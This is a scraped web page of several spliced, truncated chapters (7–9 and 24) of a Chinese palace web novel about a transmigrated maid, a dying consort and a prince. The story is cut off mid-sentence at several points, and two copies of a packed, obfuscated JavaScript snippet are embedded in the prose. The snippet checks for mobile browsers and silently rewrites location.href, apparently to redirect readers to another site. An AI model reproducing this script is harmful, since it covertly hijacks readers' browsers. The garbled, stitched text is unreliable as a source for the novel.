她在床上又赖了会床后,终于还是不情不愿地起床穿衣,然后一边打着哈欠,一边走到梳妆台前。她坐到矮凳上,拿过桌上的梳子不紧不慢地梳着头发。 昨天见到了这身体原主的“故人”,姜念念大概也能猜到,她之前的日子过得也并不好。她透过铜镜观察着自己的脸,虽然面容的确是年轻稚嫩,可是皮肤却暗沉无光,脸颊也有明显的凹陷,眼底泛着淡淡的乌青,想来也不是一天两天能够消除的。而那双本该明亮的眼睛,此刻却一片荒芜,沉静地盯着镜中的自己。 姜念念心中一惊,总觉得那是原主在看着自己,赶忙移开了视线。 她的头发也格外毛糙,握在手里有些扎手,姜念念此时也顾不得许多,匆匆地将头发梳好,便离开了屋子。 一推开门,等待多时的寒风便迫不及待的迎面扑来,裹挟着初晨的寒重霜汽,刮得脸颊生疼。像是报复被阻拦在门外似的,一下又一下地呼啸而过。 姜念念彻底醒了。 她仰头望向天空,雾蒙蒙的天边不见半点霞色,阴霾将整片天遮得严实。 好像又快要下雪了。 今天已经年初二了,姜念念的思绪又不禁飘远,往年这个时候,她应该还没睡醒,等到天彻底亮了之后,才会在鞭炮声中悠然转醒。吃过早饭后,她便会和家人一同出去串门,只不过现在她来到了这样一个地方,也不知道现实世界的她又怎么样了。 姜念念轻叹了一声,知道自己此刻也无力改变什么,只能关了门转身走下台阶,开始了在这个世界的新的一天。 早晨的时候,天空终于开始悠悠扬扬地飘起了雪花,那雪越下越大,不消片刻就染白了门前的小院。他们藏在这宁静的一隅,听不见外面的喧嚣,坐在廊下静静地看着雪花落下。 或许这样的时光太过岁月静好,以至于时间都在不知不觉中悄然溜走,就连姜念念也忍不住想,这样万籁俱寂的时刻,好像就这么 7. 雪色 《映石春信》全本免费阅读 姜念念心中冷然,却也没有出声。 那门外的小公主年龄不大,听到太监说得这么严重,自是心软不再坚持。宫人们下意识地松了一口气,一边好言安慰,一边哄着人离开了。 等到一群人的声音消失在门前,整座小院又再次恢复宁静。刚刚那片刻的热闹,好似一粒细微的砂石落进湖面,纵使造成了微不可查的波动,此刻也已然恢复了宁静。没人会在意砂石落到了哪里,甚至那一片连涟漪都算不上的动静,更是吸引不来任何人的关注。 然而,令所有人都意想不到的是,就在他们以为这件事情已经到此为止的时候,砂石却在湖底掀起巨浪,并且没有给任何人反应的机会。 这场雪一连下了几天,皑皑白雪几乎快要将整座皇城都覆盖在它的冰寒之下,所有人都在等待着下一个天晴的到来。而就在大雪后的第三个夜晚,这向来无人踏足的冷宫,却突然造访了一位“不速之客”。 那被锁上的大门被推开时,姜念念等人已经回了各自的房里,只待不久后便可以入睡。然而那门早已年久失修,一旦被人推开,就会发出巨大的动静,更何况此刻已是夜晚,本就寂静无声,任谁想要忽视都难。所以当门被打开的一瞬间,屋内的三人就都听到动静坐起了身。 姜念念想不到都这么晚了,究竟还有谁会冒雪来到这冷宫,而待她穿好衣服推门出来时,便看到一道身影正蹑手蹑脚地在向这边走。也许是怕惊扰到别人,那人也并没有点灯,只抹黑朝着一个方向走。 那人的脚步极轻,踩在厚重的雪地里几乎听不到声音,可是那些都已经不重要了。 看着那道陌生的身影,姜念念突然就福至心灵,内心对来人已经有了隐隐的猜测。 她趁着秦婉蓉和沈南寂都没有出来,率先一步走出了屋子,她刻意放缓了脚步,再加上她在暗那人在明,轻而易举就将自己隐匿在黑暗中。 姜念念静悄悄地绕到来人身后,目睹那人鬼鬼祟祟的动作,随后猝不及防地出声:“你在做什么?” “啊——” 沈宿绵被这突如其来的质问声惊得整个人朝后一倒,一屁股跌坐到了雪地里,她抬头看向姜念念,怎么也没想到自己这么快就被人发现,脸上满是恍然无措。 “小公主,这里可不是你该来的地方。”就在这时,另一道声音又突然响起。 沈宿绵呆呆地转过头去,又呆呆地望着姜念念等人,一时无言。 她的脑子此时已经一片空白了,先前那些宫人告诉她,这里什么都没有的时候,她是不相信的。可是那门上挂着的锁的确不像是有人居住的样子,但在好奇心驱使下,她还是没忍住偷了钥匙,又特地选在了天黑之后返回到了这里。 为了不听那些宫人们的唠叨,她独自一人前来,开门的时候费了她好一番力气,结果没想到她刚进来,就已经被人抓了个正着。 不过转念一想刚刚秦婉蓉对她的称呼,沈宿绵就又有些安心了,遂姜念念下一秒就听到她故作镇定地道:“既然知道我是公主,那这皇宫内还有什么地方是本公主去不得的?” “是吗?”姜念念闻言不禁笑道,“那为什么,前几日白天的时候,那些宫人们还拼命阻拦你进来呢?” 沈宿绵很显然是没想到,他们居然连这都知道,顿时便瞪大了眼睛。尚还没有完全长大的小姑娘,人生中第一次遭遇这样的“质问”,真就一时忘了该如何出言反驳。 因为长时间坐在雪地里,寒气便更加肆无忌惮地侵入,她慢慢开始感觉到鼻子有些微微发痒。大概也是觉得,在这样的环境下,但凡有个什么不妥,都要被人嘲笑。于是她竭力想要忍住,不让自己露出什么多余的举动来,可最终她还是没忍住,在秦婉蓉等人惊讶的目光下,打了个大大的喷嚏。 沈宿绵瘪了瘪嘴,将哭不哭,内心只觉今天真是倒霉透顶。 …… 半刻钟后,四人坐在屋内的四方桌前,一人各占一方,两两相望,一时都陷入了沉默。 最后,还是秦婉蓉率先出声,道:“说说吧。” 这话是对沈宿绵说的,而她本人自然也清楚这一点,可是她却不懂秦婉蓉话中地深意:“说什么?” “你是谁,为什么来这里?”沈南寂先前并没有见过沈宿绵,再加上年岁也不过是比沈宿绵大了一两岁,所以即便猜到了她的身份,也断然不会如秦婉蓉那般,慢声细语地询问。 “我叫沈宿绵。”沈宿绵乖乖地回答,“我来这里是因为,那天宫人说这里什么都没有,我不信……” “所以你就来到这里了?”这是姜念念问的。 沈宿绵点了点头,轻轻地应了一声。 秦婉蓉听到沈宿绵的回答后,微微蹙眉,“既然知道这里不该来,为什么还要来?难道宫里的人就是这么教你的吗?” 听到秦婉蓉的训话之后,沈宿绵并没有生气,反倒是愧疚地低下了头,也全然没了前几日面对宫人时的那般气势。她垂着头不让人瞧见她的神色,良久后她才抬头望向秦婉蓉,问:“您也是宫里的娘娘吗?” 秦婉蓉闻言一愣,“为什么这么问?” “因为您说话的时候,和宫里其他的娘娘很像。”沈宿绵歪着头,认真地回答道。 秦婉蓉顿了顿,随即说道:“我不是。” 沈宿绵还待再说,便又听秦婉蓉接着道:“你问这些也没有用,我是不会因为这样,就任由你乱跑的。” 沈宿绵在秦婉蓉的话音落后,顿时就如一朵被雨打过的小花似的,瞬间就蔫了下来。而秦婉蓉也没有因此就放过沈宿绵,神情严肃地教育了一番她之后,这才施施然放了人。 姜念念一直在一旁听着,眼看着沈宿绵的神情越来越萎靡,她不禁有些好笑的想,莫非秦婉蓉这是被人吵醒了心情不好,所以故意说这些话,不让沈宿绵好过的? 不过想归想,姜念念也没有真的问出来。沈宿绵离开时,是由姜念念将她送到门外的,只不过在她临出门时,突然又转头嗫嚅着问道:“那个……你们可以帮我保密,别告诉别人,我今天来过这里吗?” 也许是刚刚秦婉蓉的那番话让沈宿绵仍有些心有余悸,以至于她问这个问题的时候 8. 烟火 《映石春信》全本免费阅读 时光匆匆,一晃而过,上元节衔着春节的尾巴,如约而至。 明明姜念念觉得,自己来这世界也不过是上一刻的事情,可是仔细一回想,距离除夕也已经过了数日。 自从那日夜晚,她送沈宿绵离开之后,这硕大的冷宫,倒还真的成了无人问津的地方——可能原本就该是这样,只不过恰好她初到的那几日,赶上了特殊时期,所有人都想要来这偏僻的角落踩一脚。 不过好在,如今这里已经恢复了平静。 每过几日便会有宫女前来送吃食,三人省吃俭用,倒也过得不错。 姜念念觉得,如果自己真的回不去了,那眼下的日子虽然清苦,倒也是自在。不过姜念念这些天也仔细想过了,倘若自己真的回不去了,那她就想办法出宫去,到时一个人过着悠闲的日子也不错,就是自己的家人大概要伤心一段时间了。 夜色降临时,姜念念还没来得及回屋,忽地听到了几声微弱的烟火绽放的声音,她循着声音的源头望去,却只看到了一堵高高的围墙。 “今天是上元节,街上一定很热闹。”秦婉蓉不知何时站在了姜念念的身侧,目光也遥遥望着那个方向。 听到声音,姜念念扭头去看秦婉蓉,心中没来由地觉得,秦婉蓉透过那堵墙、那细弱的声音,依稀已经看到了绚烂的烟火。 那绽放在秦婉蓉心底的烟火,是从前数年所见,刻入了她灵魂深处的回忆。只是这样的记忆,于她而言,孰好孰坏,早已辨不清了。 “娘娘是想看烟花了吗?”姜念念有些试探地开口问道。 岂知秦婉蓉摇了摇头,只道:“烟花固然绚丽,却也转瞬即逝,即便看过了这一眼,也留不下什么。” 姜念念不知道秦婉蓉想要说什么,于是只能沉默地看着,一时间谁也没有再说话。良久之后,就在姜念念以为,秦婉蓉大概不会再说话的时候,秦婉蓉才又突然道:“你是不是好奇过,你明明出现的那么巧合,我还会愿意留下你?” 听到秦婉蓉这么说,姜念念的记忆也一下子被拉远,这些事她之前也的确有所顾虑,可是看到秦婉蓉对自己的态度之后,她也觉得是自己想多了。但现在秦婉蓉的主动提及,让姜念念又忍不住再次回想起来。她没有故作姿态地否认,而是诚实地点了点头。 见状,秦婉蓉这才继续开口:“其实,我留下你,也是有我的私心。” 姜念念微垂了眼眸,“我之前也有些猜到了。” 直到此刻,姜念念才有些反应过来,秦婉蓉为什么会在这个时候告知她。对方不希望这件事被沈南寂知道,所以便只能选择沈南寂休息的时间,和她说过这一会的话。 秦婉蓉淡淡地笑,神情比飘在空中的雪还要柔和几分,“这些天你与我们相处,我能够感受到你的真心,所以我不想骗你。”她蓦地顿了顿,旋即才继续道:“我知道自己时日无多,假以他日,我若离去,阿寂他独自一人在这世上,总有不周全的地方。我希望能有一个人,可以代替我去照顾他,督促他。”在必要的时候,能够替他一命。 只不过最后那句话,秦婉蓉没有说出口。因为就在这一刻,她看着姜念念的眼睛,突然觉得,也许活着相伴才是那个最优解。 可是即便她不说,姜念念也能够觉察出一二。但既然秦婉蓉没有提及,她便也当作毫无所察,“娘娘的意思我懂了,不过……”姜念念看向秦婉蓉,两人的视线相对,姜念念轻轻地笑,“我想,他更希望的,大概是您能够陪在他身边吧。” 秦婉蓉闻言微怔,随即无奈浅笑,对姜念念的话也未作答话。 寒夜的风吹了又吹,屋前光秃秃的枝条在风中轻颤,微弱的窃窃声犹如也在哀怨冬日的寒冷,憧憬着春日何时才能降临。 在又一阵寒风卷过,姜念念打了一个哆嗦,她琢磨着该不该提醒秦婉蓉,早点回屋去,以免冻得病情加重。 而没待她说话,就忽地听秦婉蓉又开了口,像是闲谈一般:“有的时候我也在想,你是否不是这个世界的人呢?” 姜念念心中一惊,没想到秦婉蓉居然会这么敏锐地察觉到异常。她扭头望向秦婉蓉,可是对方的目光却并没有落到她的身上,而是仍旧看着远处。姜念念一时有些拿不准秦婉蓉这是在试探,还是真的看出了什么,而最令她在意的是,秦婉蓉说这话的目的是什么。 大概是姜念念的视线太过灼热,以至于秦婉蓉想要忽视都难,她扭头看向姜念念,轻笑了笑,“只是闲聊而已。不过那种事情,怎么可能是真的呢。” 姜念念一时默然,不知道该如何反驳,但她也知道,自己如果什么也不说的话,反而会让秦婉蓉怀疑,于是便故作淡定地问道:“娘娘为什么会这么觉得呢?” “因为在这宫中,是不会生出你这样性子的人。”秦婉蓉摇了摇头,道,“之前你见到的那位贵妃,尚且都被磋磨成那样,更何况还是一个宫女。你时常谨慎,却又在不经意间流露出惶恐,生活在严苛规矩下的人,所有的礼仪都刻进了骨子里,而你则更像是生活在一个无拘无束的世界里。” 所有的猜测都大差不差,如果不是被怀疑的人是自己,姜念念都忍不住称赞秦婉蓉的观察力。 不过好在秦婉蓉分析完这些后,却并没有要继续追问姜念念的意思,“时候也不早了,你也早些回去休息吧。” “外面风大,稍不留神就会感染风寒,娘娘也早些回去吧。”姜念念道。 秦婉蓉点了点头,“我知道了。” 姜念念转身正要走,突然想到了什么,又重新转过了身来,“娘娘,既然您已经有了这些猜测,无论是真是假——您又为何将我留下呢?” “无论你从前是谁,我所见到的,始终是站在我眼前的这个姜念念,不是吗?”秦婉蓉听到姜念念的问题后,并未做过多的解释,只是笑着反问。 姜念念一愣,随即点头。 秦婉蓉见状,便道 9. 落陨 《映石春信》全本免费阅读 上元节那晚的事,三人倒是难得的默契,谁也没有再去提及。往事如风,随心散去,虽三缄其口,彼此心底却犹如明镜。 时间一天天过去,冬去春来,万物复生,门前枯树再次发了新芽,长出新的绿意。 正是早春时节,嫩黄的迎春盛开在阳光下。一切本该如此,生生不息,可是有些时候,现实往往都不尽遂人意。 在春日降临后,秦婉蓉的身体便每况愈下,姜念念亲眼见她逐渐不能离开床榻,身形犹似一页残纸,看不见任何的生机。姜念念心中担忧,也尝试过向外界求助,可最终都不了了之。 眼看着求助无门,姜念念也彻底看清了如今的形势。她已经在这里生活了几个月,接触的人并不多,可是却也能够瞥见这残酷世界的一隅。但即便如此,眼下所发生的事,也仍旧让她心寒。反倒是秦婉蓉在得知了这件事后,转而安慰起了姜念念。 “人各有命,姜姑娘不必为我费心了。其实换个方向想一想,也许那才是我的解脱,不是吗?” 姜念念一时无话。 她看到秦婉蓉在说这话时,脸上没有丝毫的不甘,她很平静地接受了这样一个结果,同时也真心实意地希望旁人不为她忧心。 “那沈南寂呢?”姜念念嗫嚅了半晌,这才问道。 秦婉蓉顿了顿,随后才道:“若是他的话,一定会自己走出来的。至于往后的事情……那就要多劳烦姜姑娘了。” 姜念念很想告诉秦婉蓉,也许于沈南寂而言,唯有她的存在才是他的动力。可是看着秦婉蓉如今的状态,她也再说不出口。 她不知道自己有没有应下秦婉蓉的请求,只依稀记得那天的阳光很温暖,刺破了冬末的最后那点寒意。春风送来窗外稀薄的花香,一如此刻的前路般虚妄。 这是两人之间的最后一次谈话,自那日起,秦婉蓉便开始长时间陷入昏迷,很少有醒来的时间。沈南寂不眠不休地守在秦婉蓉的榻前,盼着秦婉蓉能睁开眼睛,又害怕这一次睁开眼睛,便是最后一次的相见。 转眼到了四月,便已是初夏,此时的阳光应是微毒,可秦婉蓉却仍旧盖着厚厚的棉被。 四月初一这天,天气是罕见的阴天,天空乌云密布,好像连带着气氛都有些阴沉沉的。秦婉蓉在晌午的时候难得的醒了过来。可能是睡得足够久,今天的她精神看起来也不错。在姜念念的搀扶下,她居然坐起身来,只不过仍旧还是靠在床边。 秦婉蓉的目光落在窗外,似乎是在盯着看那天,又好像什么都没看。半晌她突然道:“外面这是什么花香?” 自从春日来临,百花便也开始争相斗艳,花香顺着和风,肆意飞向各处。 姜念念听到秦婉蓉的话后,也轻嗅了嗅,随即道:“好像是槐花。” “啊,那应该是到四月了。”秦婉蓉似是呢喃般地轻轻言道。 姜念念点头,“今天刚好四月初一。” “原来已经过去这么久了啊……”秦婉蓉的脸上说不出是什么神情,可姜念念却总觉得她是有话想说,果不其然,下一刻就见秦婉蓉的视线突然移向了沈南寂,“再过几天,就是阿寂的生辰了。” 一直没有说话的沈南寂听到秦婉蓉这话,一时有些愣怔,“母妃……” 然而却并没有等沈南寂接下来说什么,只是平静地接着说道:“既然如此,不如就再过一次生辰吧。” 姜念念和沈南寂听到秦婉蓉这话,两人面面相觑,一时有些没明白秦婉蓉的意思。但秦婉蓉也不再多解释,说完这句话后,她就转回了头,继续看着窗外出神。 见状姜念念也只得作罢,照着秦婉蓉的意思去办了。不过他们如今的生活拮据,再加上能为沈南寂过生辰的,也就只有她和秦婉蓉两人,所以姜念念需要准备的事宜也并不多。 两日之后,正是四月初三,沈南寂的生辰。 连着两日的阴天,终于在初三这天下起了雨。雨声杂乱无章,砸在地面上发出清脆的声响,不消多久,就嗅到了潮湿泥土的气息。令人意外的是,这雨虽迟迟不见停,可原本的阴霾却突然驱散,变得敞亮了起来。 而更令人感到震惊的是,秦婉蓉居然也下了床。她换上了一身色彩鲜艳的衣裳,又让姜念念替她化了妆容。有了衣裳的映衬,施了粉黛的秦婉蓉罕见的有了些人气,可是即便如此,那藏在华丽底下的病气,也依旧难以抵消。 透过铜镜,秦婉蓉朝着身后满脸忧容的姜念念一笑,“别担心。” 姜念念看着秦婉蓉,心底隐隐有一个想法快要从冲出来,迫使她忍不住张了张口:“娘娘,您是不是……”知道了些什么? 可还没等她说出口,身前的秦婉蓉就已经抬起手,轻轻地竖在自己的唇边。两人视线于镜中相交,姜念念心念大动,却终究遂了秦婉蓉的意,没再多说一言。只不过在扶着秦婉蓉出门时,她也陷入了莫名的哀伤之中。 雨色微濛,一切都已不言而喻。 说是要过生辰,可也无非就是三人一同吃了饭,甚至因着食材的局限,连一碗长寿面都不曾有。不过沈南寂倒是不觉有什么,可能对他来说,只要有秦婉蓉在,其他任何事都不必在意了。 活动只在这一方小院,三人便只能坐在檐下,看着如帘的雨幕,闲闲地说着一些话。如若不是偶尔的咳声在提醒着他们,此刻这难得的静谧时光,倒还真算得上是岁月静好了。 沈南寂担心秦婉蓉吹了凉风,欲言又止了几次,想让秦婉蓉回到屋中去。秦婉蓉自然也注意到了他的动作,却根本没有要回去的意思,她横手挡于眼前,透过两指的缝隙去看廊外,她说:“可惜,今天是个雨天。” “也许,明天就天晴了。”姜念念道。 秦婉蓉放下手,光争先恐后地涌入眼底,只是笑笑,没再说话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12822885|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了套,可整个人看起来就像是春天的朝阳,全然是一副初入宫闱的模样。而如今再看时,女孩行礼规范,处处透着拘谨和小心翼翼,唯独那一双眼眸明亮如初。 沈明承突然就有些理解起了沈南寂的心理。 见姜念念一直都没有说话,沈明承也不恼,而是继续说道:“这几天西南边疆的事情,你应该也听说了吧?” 姜念念听到沈明承的问话后,突然有些古怪地看了沈明承一眼。刚刚沈北渝来的时候,也问了她同样的问题,实在是让她想不怀疑都难。 不过眼下的情形,也由不得姜念念否认,沈明承能够这么直白地问她,应当也是知道一些事了。于是姜念念点了点头,应下了沈明承的问题。 果不其然,在得到了姜念念肯定的回答后,沈明承的脸上神情依旧是淡淡的,仿佛早就已经知道结果了。 只不过接下来的话,却是之前沈北渝所不曾提及的,又或者说他所表现出来的反应,也恰恰告诉了姜念念这一点,只不过她当时并没有太过深想下去。 “你知道小五在听说了这件事之后,是怎么对朕说的吗?” 姜念念摇头,她不知道沈南寂具体想要做什么,但看这架势,应该不会是什么简单的提议。 沈明承打量着姜念念的神情,随即轻笑一声道:“你或许也猜到了一些——他跟我说,他要亲自前去西南,取代慕家的位置,然后将西南的兵权收归到朝廷。” 姜念念有些震惊地看向了沈明承,她张了张口,似乎是想要说些什么,可是下一秒却在触及到沈明承的眼神时,猛地怔了一下。 她在沈明承的眼中,并没有看到一个父亲,在听到自己的孩子有这样的打算后该有的欣慰,反而在他的眼神中,姜念念看到了轻蔑与嘲讽,似乎对于沈南寂的做法根本不放在心上。 原本还想要说话的姜念念突然就噤了声,她不明白沈明承为什么会露出这样的表情,但是此刻她好像更加清晰地认识到,眼前这个人的本质究竟是什么样子。 宫中悄无声息死去的人太多,包括当年的秦婉蓉。他就连自己曾经最宠爱的妃嫔的死,都表现得漠不关心,又谈何怜悯之心? 可他对内的冷漠无情,却从来没有一视同仁地向外。 早在先帝时期,西南郡的权力都掌控在朝廷手中,可自沈明承继位以来,他对边疆便是不闻不问,将一切事宜都丢给慕家。 若是他有心安抚慕家,或许也不会让事情发展到如今这个地步,可他偏偏仍旧是我行我素,最终招致慕家的谋反。 姜念念的手心微微攥紧,忽视掉那薄薄的汗意,她尽力让自己平静下来,试探着问道:“陛下这是,不希望殿下去西南郡吗?” 闻言沈明承蓦地一笑,他的目光直直地朝着姜念念看过来,嘴角分明是挂着笑的,可眼底的冷意却令人不寒而栗。 下一刻,姜念念便听到他幽幽地说道:“去呀,怎么会希望他不去呢。我可是很期待,他能给我带来什么样的惊喜。” 24. 变化 沈明承说这话时的语气,并不像是在说自己的孩子,反倒更像是在谈论一个无关紧要的人。他的唇角挂着戏谑的笑,玩味之意溢于言表。 明明已经不是刚刚来到这个世界,也早就见识过了这个地方的残酷,可在见到沈明承如今的冷漠时,姜念念还是觉得如坠冰窟。她有些难以想象,沈南寂刚从冷宫里走出来,无数次看到这样一个冷血的父亲时,又会是什么样的心情。 姜念念突然就觉得,沈南寂所做的这一切都不值得,与其让这样一个人坐享其成,还不如让他自食恶果来的解气。 如今的明安国,就像是一只漂浮在海面上的孤舟,虽表面看起来是独善其身,可实际上早已是周边群狼环伺。而且据姜念念对它的了解,最后的明安国在沈明承手中,是落得了一个只能依附于其他国家的存在。 好像有什么不一样了。姜念念忍不住在心底这样想道。 她对这个世界的了解,仅仅只是那一张来路不明的纸,还有这几年的设身处地。可即便是这样,她还是能够感受到,有些事情其实已经脱离了原有轨迹。 姜念念不知道这种变化究竟是源于什么原因,可她只能走一步看一步,小心应对。 “陛下难道就不担心吗?”姜念念看着沈明承,问道。 沈明承似乎是愣了一下,随即笑道:“担心什么?” “西南郡危险异常,殿下只身前往,恐怕会有危险。”姜念念试探着说道。 姜念念本意只是想要确认,沈明承究竟会不会在意沈南寂的安危。谁料在听到姜念念的问话之后,沈明承根本没有丝毫的担忧之色,反倒还无所谓地道:“他自行请命前往,朕自然不会驳了他的意愿。” 沈明承的神情似笑非笑,沉吟片刻后又接着说道:“你知道他除了这件事,还说了什么吗?” 姜念念看着他的神情,突然想到了什么,“和奴婢有关?” 如果真是这样的话,沈明承突然出现在这里,还故意支开沈南寂,那一切似乎也就有了理由。 而这边沈明承闻言突然就哈哈大笑了起来,好半晌后他才堪堪止住了笑,道:“难怪你能让他另眼相看,你的确比那些只知道听命行事的人聪明多了。” 姜念念闻言深吸了一口气,大着胆子问道:“所以陛下来这里,只是为了告知奴婢这些事吗?” “你既然知道这事和你有关,那你知道,他所求之事具体是什么吗?”沈明承并没有因为姜念念这逾矩的行为恼怒,反而是饶有兴趣地打量着她,问道。 姜念念摇头,心头不解。 好在沈明承似乎也已经卖够了关子,终于大发慈悲说出了真相:“他跟朕说,去西南郡的时候,要你与他一同前往。” “……什么?”姜念念一时怔在原地,也不知道该想些什么。 她想到前不久的时候,沈南寂曾经问过自己,若是他离开了这里,那她会不会随他一同前去。那时她并没有多想,于是便下意识答应了下来——原来那个时候,沈南寂是在试探她的意愿吗? 不过对于沈南寂这先斩未奏的行为,姜念念也并没有感到气愤,即便是沈南寂真的询问她,她也同样是会选择一同前往西南郡的。她自从来到这个世界起,就和沈南寂一起生活,若是沈南寂真的独自一人去往西南郡,让她一人留在京城,那她还真不能立刻习惯。 不过姜念念大概也能猜到,沈明承不可能那么干脆就答应沈南寂的这个要求,于是便抬眼看向了沈明承。果不其然,下一刻姜念念就听到沈明承又接着道:“不过朕和他说,既然已经进了宫,那就不可能擅自离宫,更别提跟着一个皇子,去到那么远的边疆。” 姜念念知道,沈明承这么说并不是要直接拒绝沈南寂,而是另有目的。她正这么想着,下一秒就听到沈明承又接着说道:“朕倒是没想到,他居然会因为你,答应朕提出的条件。” “什么条件?”姜念念皱了皱眉,下意识地就追问了一句。 不过这次沈明承却并没有如姜念念所愿,好整以暇地开口:“你不妨猜猜?” 姜念念闻言正要开口,却见沈明承倏然站起身来,她不解地望向沈明承,随后就听到沈明承淡淡地道:“好了,闲聊时间结束,朕也该走了。” 姜念念正疑惑沈明承怎么突然就要离开,下一刻就听到宫外传来一阵急促的脚步声,那脚步声渐行渐近,似乎是正朝着倚月轩这个方向来的。 “当年因为他母妃的事情,他一直不愿与朕亲近,如今他要去西南郡,无非也是在和朕赌气罢了。”沈明承起身后也不急着走,而是施施然地说道,“若是去到了西南郡,希望你也能照顾好他。” 姜念念微微蹙眉,没想明白沈明承的态度为什么突然发生了这么大的转变,不过她也没有多嘴询问,只是淡淡地应道:“陛下放心,我会照顾好殿下的。” 沈明承微微侧头看着低眉应答的姜念念,顿了片刻后他才意味不明地说道:“好,既然如此,那希望我们还能再见。” 这次姜念念没有回答,只平静地站在那里,听着沈明承的脚步逐渐离去,一路走到了院门前。 下一刻,倚月轩的大门被推开。 姜念念顺势抬起头望去,门外站着沈南寂,还有一直未曾离开的沈北渝和秦理,而站在院内尚还没离开的沈明承。四人面面相觑了半晌,最终还是沈南寂率先打破了沉默,他神色平静地向沈明承行了礼,并没有多看身旁的沈北渝一眼。 沈明承的视线在沈南寂和沈北渝两人身上转了一圈,随即似笑非笑地开口问道:“你们这是在做什么?” “回父皇,儿臣只是好奇,四哥怎么会出现在倚月轩门口,所以才多问了一句。”沈南寂淡淡地应道。 “原来如此。”沈明承一脸恍然大悟地神情,也知道沈南寂表面上是在询问沈北渝,其实也更像是在质问沈明承。沈明承自然也知道沈南寂心中所想,虽然对沈南寂的这种暗暗的行为嗤之以鼻,不过沈明承还是不太走心地说道,“只是恰巧路过这里,所以就想着来你住的地方看看。朕还有事,就先行一步了。” 沈明承也不顾此刻气氛的冷凝,轻飘飘地丢下最后一句话后,就抬脚踏出了倚月轩。他抬手招呼秦理跟他一起离开,徒留下沈南寂和沈北渝两人继续在原地。 等到沈明承走后,沈南寂轻描淡写地扫了一眼沈北渝之后,也没给他什么好脸色,转头就将注意力放到了院内姜念念的身上。虽然此刻姜念念面上的神情与往常并没有太大变化,沈明承刚刚只说他进来随便看看,可沈南寂仍是有些不放心。 他与沈北渝擦身而过,目光都没在沈北渝的身上停留一秒,随后就径直走向了姜念念。一旁的沈北渝见状,直觉沈南寂是把造成这一现状的罪名扣到了他的头上,于是赶忙追了上去。他也顾不得沈南寂到底看他顺不顺眼了,紧随两步解释道:“我刚来这里父皇就来了,我什么都没说,就被秦公公给‘请’出去了。就算有什么事情,你也不能把罪名全算我头上啊。” 说到这里沈北渝顿了顿,见沈南寂没有要回答他的意思,他又不依不饶地继续说道:“之前我的确来过几次,不过我可从来没有做过什么强人所难的事情。你做了什么大家有目共睹,我也只不过是想让姜念念知道真相,然后自己决定去哪而已……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12837479|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这边沈北渝说着,沈南寂却丝毫不予理会。他的目光和站在那里的姜念念视线对上,下一刻姜念念就头也不回的转身离去,原本就有些不耐的沈南寂,终于被耳边叽叽喳喳的说话声吵得心烦。 于是,心情不太美妙的沈南寂,直接就将矛头指向了沈北渝,他停下了脚步,转身面对向了沈北渝,“四哥现在和我解释这些,莫非是心虚了?” “我心虚?”沈北渝一脸难以置信地指着自己,“合着我刚刚说的那些话,你是一个字也没听进去了?” 沈南寂对他的气急败坏丝毫不做理睬,他的心底还在盘算着其它事情,根本没空理会沈北渝。 沈北渝很显然不是半途而废的性子,尤其是在某些事情上,一旦认定了某个想法之后,就怎么也都绕不回来了。于是他也不管沈南寂到底愿不愿意听,继续和沈南寂表明着自己的“清白”。他一边自证清白,一边大逆不道地在心底暗骂着沈明承就这么把锅甩到自己身上。 沈南寂沉默地忍受了他半天,发现他丝毫没有要停下的意思,甚至从原本解释的话逐渐变成了胡扯之后,终于是忍不住道:“你很聒噪。” 沈南寂正想着随便找个理由将人打发走,自己再去找姜念念的时候,就见原本已经进了屋的姜念念又走了出来。 见到从自己离开,一直到自己再次回来,仍旧还杵在原地没动的两人,姜念念忍不住有些困惑地歪了歪头,“二位殿下不坐下聊吗?” 见姜念念去而复返,沈南寂原本提起来的心也稍稍落定,也又闲工夫去瞥一眼沈北渝,然后忍不住嘲道:“他不用坐。” 沈北渝闻言当即就不可置信地瞪大了眼睛,“你这是什么话?这是该对自己兄长应有的态度吗?” 说罢,他一边念叨着“你不让我坐,我偏要坐”,一边无比自然地抢占了一个面朝阳光的绝佳位置。 沈南寂看到他坐下之后,也没说什么,而是在他旁边的另一个凳子上坐下。 姜念念见状,这才将刚刚煮好的茶水端上来,茶水倒好后放到两人面前。待将茶水给沈北渝时,姜念念还特地道:“四殿下,你应该口渴了吧?茶水还有些烫,慢些喝。” 沈北渝:“……” 沈北渝觉得自己又被人给暗戳戳地嫌弃了,只不过现在是二对一,他连反驳的机会都没有。 等到姜念念将茶壶放下后,沈南寂示意姜念念也一起坐,姜念念迟疑了一下,看了沈北渝一眼。 似乎是知道姜念念在想什么,沈北渝立即道:“不用看我,我不是那种不讲情面,还爱乱告状的人。” 姜念念想了想,沈北渝好像确实不是那种爱背后搞小动作的人,心里想的也全都嘴上说出来了。于是姜念念便也没再扭捏,直接坐了下去,正好她也有话想说。 等到三人坐定之后,虽然他们面上都是一副欲言又止的表情,可出奇的居然没有一个人主动开口。最后还是姜念念实在憋不住,先一步把话挑明了。 “我们想说什么,彼此应该也都心知肚明。”姜念念直截了当地道,“既然如此,那就我先说吧。今天四殿下来,究其根本,也是因为西南郡吧?” 沈北渝没想到先被点到名的是自己,怔了一下之后,又点了点头。 “陛下刚刚来,也是告诉了我这件事。”姜念念说着,又扭头看向了沈南寂,“殿下,你是要去西南郡吗?” 